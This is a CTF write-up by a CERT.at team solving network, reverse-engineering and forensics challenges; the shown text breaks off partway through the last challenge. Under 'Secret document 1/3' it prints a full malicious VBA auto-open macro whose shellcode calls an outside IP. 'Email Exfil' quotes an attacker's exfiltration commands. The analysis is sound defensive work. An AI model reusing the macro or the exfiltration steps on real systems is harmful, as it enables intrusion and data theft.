30.06.2021 07:00

FIRST Challenge 2021 Writeup

Due to the COVID-19 pandemic the FIRST conference 2021 moved online and so did the annual CTF organized by the FIRST Security Lounge SIG. Thomas Pribitzer, Dimitri Robl, and Sebastian Waldbauer from CERT.at participated as a team, scoring the 9. place out of 42 teams. This post is a writeup of the challenges we were able to solve.

The challenges were organized into different categories and new challenges were released each day. However, the writeup will only reflect the categories, not the days they were published.

Network

In total there were seven challenges of which we solved six.

This challenge involved analyzing a PCAP file. The description was:

Custom print, copy, and faxing services! And who said print media is dead?

Looking at the PCAP file, we could quickly locate an interesting HTTP POST request which said:

POST /PDF HTTP/1.1
Content-Type: application/ipp
Date: Sun, 22 Dec 2019 16:56:10 GMT
Host: localhost:1234
Transfer-Encoding: chunked
User-Agent: CUPS/2.2.7 (Linux 4.15.0-65-generic; x86_64) IPP/2.0
Accept-Encoding: deflate, gzip, identity
Expect: 100-continue

Its payload contained the following header:

b7
.......*.G..attributes-charset..utf-8H..attributes-natural-language..enE..printer-uri.#ipp://printer.example.com/ipp/printB..requesting-user-name..I..document-format..application/pdf.
2ea1
PK···  ·  ···O3&··/   /   ·   mimetypeapplication/vnd.oasis.opendocument.presentation

Ok, that looks strange – the POST requests refers to a document called PDF, it says document- format..application/pdf, but the MIME type says something else. Having a look at the list of file signatures on Wikipedia told us that PK is the start of the header "for zip file format and formats based on it, such as EPUB, JAR, ODF, OOXML" and that made an open document presentation more likely than a PDF. What does file say?

$ file PDF
PDF: Zip archive data, harset

Well, not too helpful, so we removed everything until PK from the header, renamed it to PDF.odp and tried again:

$ file PDF.odp
PDF.odp: OpenDocument Presentation

That looks much better! Opening it with LibreOffice we found the flag

printprintprintprint_Flag123!

on page 15.

AAAA

Another PCAP and we’re told

Your incident response team said they located a series of suspicious TCP connections. They’ve asked you to find the one which contains the flag. They also mentioned something about morse and binary encodings.

Looking through the PCAP, we found a lot of TCP connections, all of them containing variable amounts of the letter A.

Using the filter tcp.stream == && tcp.flags.push == 1 where is replaced by each TCP stream, we found that the packet lengths varied a lot, except for stream 20 which contains mainly packets which are either 67 or 166 bytes in size.

We exported this stream to a CSV file, extracted the the length and converted it to ones and zeroes, where 67 maps to 0 and 166 maps to 1. This resulted in a stream of bits converted to ASCII read: wowyoufoundthetimeseriesflag.

Man or Machine

More PCAPs, obviously ;) The task was:

This one is simple. There’s a pcap which contains 100 SSH connections. Only 1 on the connections was human driven. All we want to know is the source port number for that 1 connection.

After opening the PCAP, we looked into the Statistics section in Wireshark which showed us that most connections contained roughly the same amount of traffic except for one which had a lot more. Its source port was 54712. However, that in itself was not enough to be sure, so we dug deeper.

Comparing the I/O graphs of the connections showed us that most of them look extremely similar, except one – again source port 54712. As connections from bot traffic should look very similar, this was was a good enough reason for us to assume that this connection was the one with a human behind a keyboard and we were correct.

The Secrets of a Dragon Fly [part 1]

No PCAPs this time but a link to a website and a rather simple task:

What is the password?

When connecting to the website (which contained the picture of a dragonfly, which explains the name) and examining the headers the following stood out:

x-device-header: It looks like a computer desktop browser

Switching to a mobile user agent string, returned a different header:

x-proto-header: The year is 2021. IPv6 is widely adopted.

Well, let’s try this again using IPv6. And voilà, a new header:

Congratulations: The password is 3HWvgPuu9uFILPqvp+8VvvrTZFc7hNHG

Email Exfil

Back to PCAP! This time the task was:

Your network traffic analysis engine triggered a high severity behavior anomaly alert. Your tier 1 SOC analysts could not identify what caused the alert. See if you can locate it and the flag!

The PCAP contains three TCP connections: one over telnet, one over SMTP and one via TLS. The telnet connection reveals the relevant information. First it tells us, what the attacker did on the machine and the two relevant commands were:

PW=`SSLKEYLOGFILE=/.hidden/log.log curl "https://www.passwordrandom.com/query?command=password"`; qpdf foo.pdf --encrypt $PW $PW 256 -- enc_foo.pdf
python exfil.py

exfil.py’s contents are also shown in the session, revealing a simple SMTP-exfil script which sends both ./hidden/log.log and enc_foo.pdf to the attacker:

Content-Type: multipart/mixed; boundary="===============5727638339489555207=="\r\n
MIME-Version: 1.0\r\n
Subject: Check this out!\r\n
From: attacker@localhost\r\n
To: root@localhost\r\n
\r\n
--===============5727638339489555207==\r\n
Content-Type: multipart/alternative;\r\n
 boundary="===============1396928425997086772=="\r\n
MIME-Version: 1.0\r\n
\r\n
--===============1396928425997086772==\r\n
Content-Type: text/plain; charset="us-ascii"\r\n
MIME-Version: 1.0\r\n
Content-Transfer-Encoding: 7bit\r\n
\r\n
Alt Text\r\n
--===============1396928425997086772==\r\n
Content-Type: text/plain; charset="us-ascii"\r\n
MIME-Version: 1.0\r\n
Content-Transfer-Encoding: 7bit\r\n
\r\n
This is the stolen data. See to it that it makes its way into the database.\r\n
--===============1396928425997086772==--\r\n
\r\n
--===============5727638339489555207==\r\n
Content-Type: application/octet-stream\r\n
MIME-Version: 1.0\r\n
Content-Transfer-Encoding: base64\r\n
Content-Disposition: attachment; filename="one.jpg"\r\n
\r\n
Q0xJRU5UX1JBTkRPTSA2YjYxYjNmY2Q0NDA3NjIyODY5ZTRlNDQyOTZmYjc3MTBlMWY1YjE4OWYz\r\n
MWJjNzBhYTE4ZmYxYjYyNWE2MGYzIGNhNWEyNjE0YjY5NjgxNGRhMThjNWMxYTE1MzliOWZiZWNm\r\n
M2VmMzRjZWEwN2MwNGY2OTNjZDNmMjY1MWVjM2IzZmU4MWZkYjczYzA0MDc3MGEwZmEwOGE4NzEy\r\n
ZDk2Ywo=\r\n
\r\n
--===============5727638339489555207==\r\n
Content-Type: application/octet-stream\r\n
MIME-Version: 1.0\r\n
Content-Transfer-Encoding: base64\r\n
Content-Disposition: attachment; filename="two.jpg"\r\n
\r\n
[SNIP]

After extracting both .jpg files from the SMTP stream and decoded the base64, we got:

$ file {one,two}.jpg
one.jpg: ASCII text
two.jpg: PDF document, version 1.7

And of course, when we try to open the PDF we’re asked for a password which we don’t have yet. However, one.jpg contains the logfile which can be used to decrypt TLS traffic by simply setting the SSLKEYLOGFILE variable accordingly. We can now use tshark to get our password. First, we have to find the packet we’re interested in:

$ SSLKEYLOGFILE=one.jpg tshark -r email-exfil.pcap -Y "ssl"
  203  23.638954    10.0.3.15 37806 205.144.171.63 443 TLSv1 573 Client Hello
  205  23.696214 205.144.171.63 443 10.0.3.15    37806 TCP 1396 [TCP segment of a reassembled PDU]
  207  23.697224 205.144.171.63 443 10.0.3.15    37806 TLSv1.2 1775 Server Hello, Certificate, Server Key Exchange, Server Hello Done
  209  23.701477    10.0.3.15 37806 205.144.171.63 443 TLSv1.2 214 Client Key Exchange, Change Cipher Spec, Finished
  211  23.756376 205.144.171.63 443 10.0.3.15    37806 HTTP2 176 SETTINGS[0], WINDOW_UPDATE[0]
  212  23.756894    10.0.3.15 37806 205.144.171.63 443 HTTP2 109 Magic
  213  23.757075    10.0.3.15 37806 205.144.171.63 443 HTTP2 112 SETTINGS[0]
  215  23.757209    10.0.3.15 37806 205.144.171.63 443 HTTP2 98 WINDOW_UPDATE[0]
  218  23.757385    10.0.3.15 37806 205.144.171.63 443 HTTP2 149 HEADERS[1]: GET /query?command=password
  219  23.757498    10.0.3.15 37806 205.144.171.63 443 HTTP2 94 SETTINGS[0]
  222  23.808444 205.144.171.63 443 10.0.3.15    37806 HTTP2 94 SETTINGS[0]
  223  23.838464 205.144.171.63 443 10.0.3.15    37806 HTTP2 292 HEADERS[1]: 200 OK, DATA[1], DATA[1] (text/plain)
  258  23.849585    10.0.3.15 37806 205.144.171.63 443 TLSv1.2 87 Alert (Level: Warning, Description: Close Notify)

Well, packet 223 contains a reply in text/plain, so:

$ SSLKEYLOGFILE=one.jpg tshark -r email-exfil.pcap -Y "http2 && frame.number == 223" -x
[SNIP]
Reassembled body (11 bytes):
0000  52 61 6f 4c 59 39 3a 33 30 77 6a                  RaoLY9:30wj

This looks like our password, so let’s try it out:

$ qpdf --decrypt two.jpg --password='RaoLY9:30wj' decrpted.pdf
$ pdf2txt decrypted.pdf
YouFoundThisFlag!_Congrats!

sudo su

Another PCAP \o/. Our task says:

This is another easy one. The pcap contains a single ssh session. The user authenticated with a public key. The user was then provided a pseudo-terminal on the server. The user entered the "sudo su" command. The user then typed their passowrd and successfully elevated to root. The user then pressed CTL+D twice which exited first the root and then the user’s ssh session.

All we want to know is the length of the user’s password. It’s a number.

Basically, this is an exercise in counting: Using the very helpful article https://www.trisul.org/blog/traffic-analysis-of-secure-shell-ssh/ we analyzed the connection. First, we determined which algorithm was used:

$ tshark -r sudo_su.pcap  -T fields -e ssh.encryption_algorithms_server_to_client -e ssh.encryption_algorithms_client_to_server -E header=y -VVV | grep -v '^[[:space:]]*$'
ssh.encryption_algorithms_server_to_client      ssh.encryption_algorithms_client_to_server
chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com    chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com
chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com    chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com

Ok, so both list chacha20-poly1305@openssh.com as their first choice. The article says that packets containing a single keystroke encrypted with this algorithm have an encrypted size of 36 bytes and as there are a lot of packets containing 36 bytes, this is our algorithm. How many of those do we have?

$ tshark -r sudo_su.pcap  'tcp.len == 36 && tcp.dstport == 22' | wc -l
18

In case you wonder: Filtering for the destination port is necessary because each keystroke is sent twice – once from the client to the server and then echoed back from the server to the client so that it appears on their screen. Thus, we have 18 keystrokes, which we can break down further:

  • sudo su + ENTER, i.e. 8

  • The password + ENTER

  • CTRL-D twice.

So it seems the password has 18 − 8 − 1 − 2 = 7 characters. However, to be absolutely sure, we created an SSH session in our network using passwords we knew and sniffed the traffic. It turned out that this technique counts one byte to much, presumably because the last CTRL-D sends an additional logoff command and thus counts for two keystrokes.

Therefore, the final answer was that the password has six characters.

Reverse Engineering

This part contained seven challenges of which we solved four.

Secret document 1/3

We’re given a file with the following task:

For your eyes onl!!

Guys,

We have received this document that content very sensitive informations.

As our policy require to block macros, we need your help to discover the secret stored in the document.

Someone says that this document retrieve it’s content* from an IP*, can you spot which one?

Thanks!

P.S: password for document is "infected"

The file we received was a password-protected 7z file:

$ 7z x -pinfected document.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 154242 bytes (151 KiB) 

Extracting archive: document.7z
--
Path = document.7z
Type = 7z 
Physical Size = 154242
Headers Size = 194
Method = LZMA2:192k 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       166575
Compressed: 154242

To inspect the macros we used Didier Steven’s oledump.py:

$ python2 oledump.py -i 'TOP SECRET -- For Your Eyes Only.docm'
A: word/vbaProject.bin
 A1:       412 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M   22157 'VBA/NewMacros'
 A4: m    1129 'VBA/ThisDocument'
 A5:      3180 'VBA/_VBA_PROJECT'
 A6:      1672 'VBA/__SRP_0'
 A7:       287 'VBA/__SRP_1'
 A8:      8586 'VBA/__SRP_2'
 A9:       405 'VBA/__SRP_3'
A10:       224 'VBA/__SRP_4'
A11:        66 'VBA/__SRP_5'
A12:       577 'VBA/dir'

This tells us, that the macro is in stream A3, so let’s extract it:

$ python2 oledump.py -s A3 -v 'TOP SECRET -- For Your Eyes Only.docm'
Attribute VB_Name = "NewMacros"
#If VBA7 Then
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Yui As Long, ByVal Ishjn As Long, ByVal Iyjoknq As LongPtr, Bfstulfe As Long, ByVal Ztdx As Long, Ajuzag As Long) As LongPtr
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rwsmgf As Long, ByVal Yfhfyt As Long, ByVal Gmv As Long, ByVal Fzuyvr As Long) As LongPtr
        Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dsxwyr As LongPtr, ByRef Ulfjrsim As Any, ByVal Qaozt As Long) As LongPtr
#Else
        Private Declare Function CreateThread Lib "kernel32" (ByVal Yui As Long, ByVal Ishjn As Long, ByVal Iyjoknq As Long, Bfstulfe As Long, ByVal Ztdx As Long, Ajuzag As Long) As Long
        Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rwsmgf As Long, ByVal Yfhfyt As Long, ByVal Gmv As Long, ByVal Fzuyvr As Long) As Long
        Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dsxwyr As Long, ByRef Ulfjrsim As Any, ByVal Qaozt As Long) As Long
#End If

Sub Auto_Open()
        Dim Nlgunnv As Long, Zniywf As Variant, Uprurh As Long
#If VBA7 Then
        Dim Arbyj As LongPtr, Swyyipid As LongPtr
#Else
        Dim Arbyj As Long, Swyyipid As Long
#End If
        Zniywf = Array(232, 143, 0, 0, 0, 96, 49, 210, 100, 139, 82, 48, 137, 229, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 87, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 80, 139, 88, 32, 1, 211, 139, 72, 24, 133, 201, 116, 60, 49, 255, _
73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, _
104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, _
0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 21, 1, 0, 0, 47, 57, 90, 110, 88, 77, 119, 103, 120, 75, 95, 108, 103, 70, 71, 69, 86, 65, 74, 117, 81, 54, 103, 120, 95, 95, 87, 120, 56, 69, 90, 80, 51, 48, 51, 99, 84, 79, 113, 77, 82, 76, 122, 89, 71, 89, 78, 89, 71, 53, 83, 76, 77, 105, 53, 103, _
71, 119, 85, 100, 111, 80, 122, 118, 90, 55, 54, 118, 54, 73, 97, 103, 71, 73, 105, 116, 86, 70, 56, 52, 68, 70, 87, 48, 102, 76, 74, 95, 54, 70, 108, 105, 72, 100, 88, 102, 52, 81, 73, 50, 69, 69, 53, 53, 103, 103, 86, 118, 119, 72, 121, 113, 72, 109, 117, 107, 100, 57, 100, 107, 103, 112, 112, 117, 116, 103, 45, 118, 117, 51, 52, 69, 73, 0, 80, 104, _
87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, _
117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 52, 53, 46, 54, 50, 46, 50, 53, 49, 46, 49, 54, 57, _
0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

        Arbyj = VirtualAlloc(0, UBound(Zniywf), &H1000, &H40)
        For Uprurh = LBound(Zniywf) To UBound(Zniywf)
                Nlgunnv = Zniywf(Uprurh)
                Swyyipid = RtlMoveMemory(Arbyj + Uprurh, Nlgunnv, 1)
        Next Uprurh
        Swyyipid = CreateThread(0, 0, Arbyj, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

Hm, that array looks very much like base 10 encoded chars1 – let’s check:

$ python3
Python 3.7.3 (default, Jan 22 2021, 20:04:44)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> myarray = [ 232, 143, 0, 0, 0, 96, 49, 210, 100, 139, 82, 48, 137, 229, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 87, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 80, 139, 88, 32, 1, 211, 139, 72, 24, 133, 201, 116, 60, 49, 255,73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84,104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111,0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 21, 1, 0, 0, 47, 57, 90, 110, 88, 77, 119, 103, 120, 75, 95, 108, 103, 70, 71, 69, 86, 65, 74, 117, 81, 54, 103, 120, 95, 95, 87, 120, 56, 69, 90, 80, 51, 48, 51, 99, 84, 79, 113, 77, 82, 76, 122, 89, 71, 89, 78, 89, 71, 53, 83, 76, 77, 105, 53, 103,71, 119, 85, 100, 111, 80, 122, 118, 90, 55, 54, 118, 54, 73, 97, 103, 71, 73, 105, 116, 86, 70, 56, 52, 68, 70, 87, 48, 102, 76, 74, 95, 54, 70, 108, 105, 72, 100, 88, 102, 52, 81, 73, 50, 69, 69, 53, 53, 103, 103, 86, 118, 119, 72, 121, 113, 72, 109, 117, 107, 100, 57, 100, 107, 103, 112, 112, 117, 116, 103, 45, 118, 117, 51, 52, 69, 73, 0, 80, 104,87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79,117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 52, 53, 46, 54, 50, 46, 50, 53, 49, 46, 49, 54, 57,0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213]
>>> output = ''
>>> for i in myarray:
...   output += chr(i)
...
>>> print(output)
è`1ÒdR0åR
¬Ç8àuô}ø;}$uàXX$Óf ÓHÉt<1ÿI4Ö1ÀÁÏ
                  KXÓÐD$$[[aYZQÿàX_Zéÿÿÿ]hnethwiniThLw&ÿÕ1ÛSSSSSè>Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Geckoh:Vy§ÿÕSSjSSh»è/9ZnXMwgxK_lgFGEVAJuQ6gx__Wx8EZP303cTOqMRLzYGYNYG5SLMi5gGwUdoPzvZ76v6IagGIitVF84DFW0fLJ_6FliHdXf4QI2EE55ggVvwHyqHmukd9dkgpputg-vu34EIPhWÆÿÕÆSh2èSSSWSVhëU.;ÿÕj
_h3àjPjVhuFÿÕSSSSVh-{ÿÕÀuhhDð5àÿÕOuÍèJj@hh@ShX¤SåÿÕSSçWh SVhâÿÕÀtÏÃÀuåXÃ_èkÿÿÿ45.62.251.169»ðµ¢VjSÿÕ

Ok, not a pure string, but we definitely see a user agent and an IP address 45.62.251[.]169 and this is our answer.

Secret document (2/3)

The basic text and file are the same, but this time our task is:

Can you find out which protocol is used to retrieve the secrets?

As we’ve already found a user agent in the above output, we were pretty sure that it would be either HTTP or HTTPS and the latter was the correct answer.

Secret document(3/3)

Our final task is

It seems that we have been fooled and that this document was actually malicious.

Can you find out which framework was used to generate the malicious payload?

We weren’t sure how to tackle this and the end of the challenge was near, so we simply guessed "metasploit" which was correct.

File in the wild (1/2)

We get a file and are told:

What is the flag?

At first, there’s not much this file tells us about itself:

$ file suspectfile
suspectfile: data

However, when looking at the end of the file, we see the following:

$ xxd suspectfile | tail -n 5
000009e0: 38b7 5bda 7fb8 9f6d 6fb5 976d 5484 3828  8.[....mo..mT.8(
000009f0: 636a 6301 ff1a 6d27 02d8 1f3b 9511 238a  cjc...m'...;..#.
00000a00: 5c9b 886c 18da f1b6 3636 77b3 7f15 c714  \..l....66w.....
00000a10: 6c6f 59ed 0079 7261 6e69 6279 6d03 0060  loY..yranibym..`
00000a20: 8589 b708 088b 1f                        .......

And yranibym is "mybinary" reversed, so this seems to be a hint. We wrote a quick Python script to reverse the reversion:

file = open("suspectfile", 'rb')
reverse_me = []
byte = file.read(1)
while byte:
    reverse_me.append(byte)
    byte = file.read(1)
reverse_me = reversed(reverse_me)
with open('sample', 'wb') as f:
    for byte in reverse_me:
        f.write(byte)

And, did it help?

$ file sample
sample: gzip compressed data, was "mybinary", last modified: Sun Apr 25 15:24:39 2021, from Unix, original size modulo 2^32 8096
$ mv sample{,.gz} && gunzip sample.gz
$ file sample
sample: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=3fd9004e328d4fc9efeb43cafc723d6537619610, not stripped

Well, that’s definitely better! Let’s look for the flag:

$ strings sample | grep flag
flag:9d2rfLBi7KtyhaYyUZXbe34aJsgz90kldFFFFFFFg

Forensics

This section had three challenges and we solved all of them.

Russian Dolls (1/2)

We get an archive and the following info:

Can you find the secret file?

We have received from our secret agent 007 this archive that contains a top secret sentence to save the world.

Can you find your way through the archive? (SHA1: cf276efbcdb41cd9541d274e608ea4cc6e6635b7)

This is your mission!

First, let’s see:

$ tar -tf GoldenEye.tgz
GoldenEye.dd
$ tar -xf GoldenEye.tgz
$ sudo losetup -f GoldenEye.dd
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
loop0    7:0    0  3.7G  0 loop
[snip]
$ sudo partprobe /dev/loop0
$ lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
loop0       7:0    0  3.7G  0 loop
└─loop0p1 259:0    0  3.7G  0 part
$ sudo mount /dev/loop0p1 /mnt/
$ cd /mnt
$ ls
decodeme.7z  lost+found  pic1.jpg  pic2.png  pic3.jpeg  pic4.jpg  pic5.jpeg  pic6.jpg
$ ls -lh decodeme.7z
-rw-rw-r-- 1 user user 437M May 12 12:06 decodeme.7z
$ cp decodeme.7z ~/first-ctf-2021/forensics
$ cd -
~/first-ctf-2021/forensics
$ ls
decodeme.7z  E2-ECE4X0Ac2ke9.jpeg  ghidra  GoldenEye.dd  goldeneye.sha  GoldenEye.tgz
$ 7z l decodeme.7z                                                                                         7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-10875H CPU @ 2.30GHz (A0652),ASM,AES-NI)

Scanning the drive for archives:
1 file, 457303090 bytes (437 MiB)

Listing archive: decodeme.7z

--
Path = decodeme.7z
Type = 7z
Physical Size = 457303090
Headers Size = 178
Method = LZMA2:24 7zAES
Solid = -
Blocks = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-05-12 12:02:45 ....A   1023410176    457302912  secretContainer.dd
------------------- ----- ------------ ------------  ------------------------
2021-05-12 12:02:45         1023410176    457302912  1 files

However, when trying to decompress it, we’re ask for a password we don’t have, so let’s check the images. All of them have a common topic: russian dolls – thus, after trying a few versions “RussianDoll” worked and the archive was decompressed.

Rinse and repeat: Set up loop devices, mount the container and check what’s inside: The next two steps contain MBR-formatted disks called MyDear.dmg and within it MyPrecious.dmg and inside it we find flag.txt:

$ cat flag.txt
From Russia with Love

And that is our flag :)

Russian Dolls (2/2)

The general text is the same as above, but now we have the following task:

We have learned that a second hidden sentence is somewhere stored in a file metadata. Have a look and don’t forget to check for specific filesystem artifacts.

After initially wasting a lot of time using sleuthkit tools to find anything in the actual metadata, we started checking for filesystem specific files and again in the MyPrecious.dmg we finally found what we were looking for:

$ mmls MyPrecious.dmg
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Safety Table
001:  -------   0000000000   0000000039   0000000040   Unallocated
002:  Meta      0000000001   0000000001   0000000001   GPT Header
003:  Meta      0000000002   0000000033   0000000032   Partition Table
004:  000       0000000040   0000499999   0000499960   disk image
005:  -------   0000500000   0000500039   0000000040   Unallocated
$ fls -o 0000000040 MyPrecious.dmg
r/r 3:  $ExtentsFile
r/r 4:  $CatalogFile
r/r 5:  $BadBlockFile
r/r 6:  $AllocationFile
r/r 8:  $AttributesFile
r/r 22: .DS_Store
d/d 20: .fseventsd
d/d 19: .HFS+ Private Directory Data^
r/r 16: .journal
r/r 17: .journal_info_block
r/r 23: flag.txt
d/d 18: ^^^^HFS+ Private Data
$ icat -o 0000000040 MyPrecious.dmg 16 | strings | sed -e 's/Z\+/Z/g'
xLNJxV4
Z
jrnlhfs+P
jrnlhfs+P
HFSJ
ZH+
HFSJ
jrnlhfs+P
jrnlhfs+P
Z
        @
jrnlhfs+P
jrnlhfs+P
HFSJ
X@R
Z
        @
jrnlhfs+P
jrnlhfs+P
HFSJ
=???Z
        @
jrnlhfs+P
jrnlhfs+P
HFSJ
Z
The World Is Not Enough
        @
jrnlhfs+P
jrnlhfs+P
HFSJ
Z
        @
jrnlhfs+P
jrnlhfs+P
HFSJ
Z
        @
jrnlhfs+P
jrnlhfs+P
HFSJ

And “The World Is Not Enough” was the solution. We have no idea why HFS+ journals contain so many ’Z’s, but they do, so we filtered them out using sed, in case you wonder ;)

Crhome Matser

We got a file and the following task:

During a forensic investigation of an end user’s Linux machine you find a master preferences file. Your colleague couldn’t get the file to load properly. See if you can.

So let’s have a look at this:

$ file master_preferences
master_preferences: JSON data
$ jq . master_preferences
{
  "homepage": "http://www.google.com",
  "homepage_is_newtabpage": false,
  "browser": {
    "show_home_button": true
  },
  "session": {
    "restore_on_startup": 4,
    "startup_urls": [
      "http://www.google.com/ig"
    ]
  },
  "bookmark_bar": {
    "show_on_all_tabs": true
  },
  "sync_promo": {
    "show_on_first_run_allowed": false
  },
  "distribution": {
    "import_bookmarks_from_file": "bookmarks.html",
    "import_bookmarks": true,
    "import_history": true,
    "import_home_page": true,
    "import_search_engine": true,
    "ping_delay": 60,
    "suppress_first_run_bubble": true,
    "do_not_create_desktop_shortcut": true,
    "do_not_create_quick_launch_shortcut": true,
    "do_not_launch_chrome": true,
    "do_not_register_for_update_launch": true,
    "make_chrome_default": true,
    "make_chrome_default_for_user": true,
    "suppress_first_run_default_browser_prompt": true,
    "system_level": true,
    "verbose_logging": true
  },
  "first_run_tabs": [
    "http://www.example.com",
    "http://welcome_page",
    "http://new_tab_page"
  ],
  "external_crx": "https://pastebin.com/s2cZFLUi",
  "external_version": "1.0"
}

Ok, so what’s in the paste? We find:

00000000: 4372 3234 0300 0000 4502 0000 12ac 040a  Cr24....E.......
00000010: a602 3082 0122 300d 0609 2a86 4886 f70d  ..0.."0...*.H...
00000020: 0101 0105 0003 8201 0f00 3082 010a 0282  ..........0.....
00000030: 0101 00c6 a2a9 8c2a 49f5 f32b eef7 c420  .......*I..+...
00000040: 2473 5e64 f88a 4a4c d2bf 9728 0074 1a98  $s^d..JL...(.t..
00000050: 8865 05ed 4137 3841 5f5f 0497 01bb fd3e  .e..A78A__.....>
